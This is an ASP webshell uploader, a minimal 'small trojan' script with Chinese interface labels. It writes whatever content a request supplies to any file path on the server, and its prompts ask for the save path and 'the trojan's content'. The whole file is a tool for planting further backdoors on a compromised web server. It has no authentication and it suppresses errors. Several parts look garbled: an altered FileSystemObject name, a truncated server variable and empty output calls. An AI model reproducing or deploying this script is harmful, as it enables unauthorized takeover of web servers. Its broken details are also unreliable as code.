<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("ing.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "save Success!" %>
<% else %>
<% response.write "Save UnSuccess!" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "" %>
<% Response.write "保存文件的路径(包括文件名:如D:\web\x.asp):" %>
<% Response.Write "" %>
<% Response.Write "" %>
<% Response.write "本文件路径" %>
<% =server.mappath(Request.ServerVariables("_NAME")) %>
<% Response.write "" %>
<% Response.write "输入马的内容:" %>
<% Response.write "" %>
<% Response.write "" %>
<% Response.write "" %>
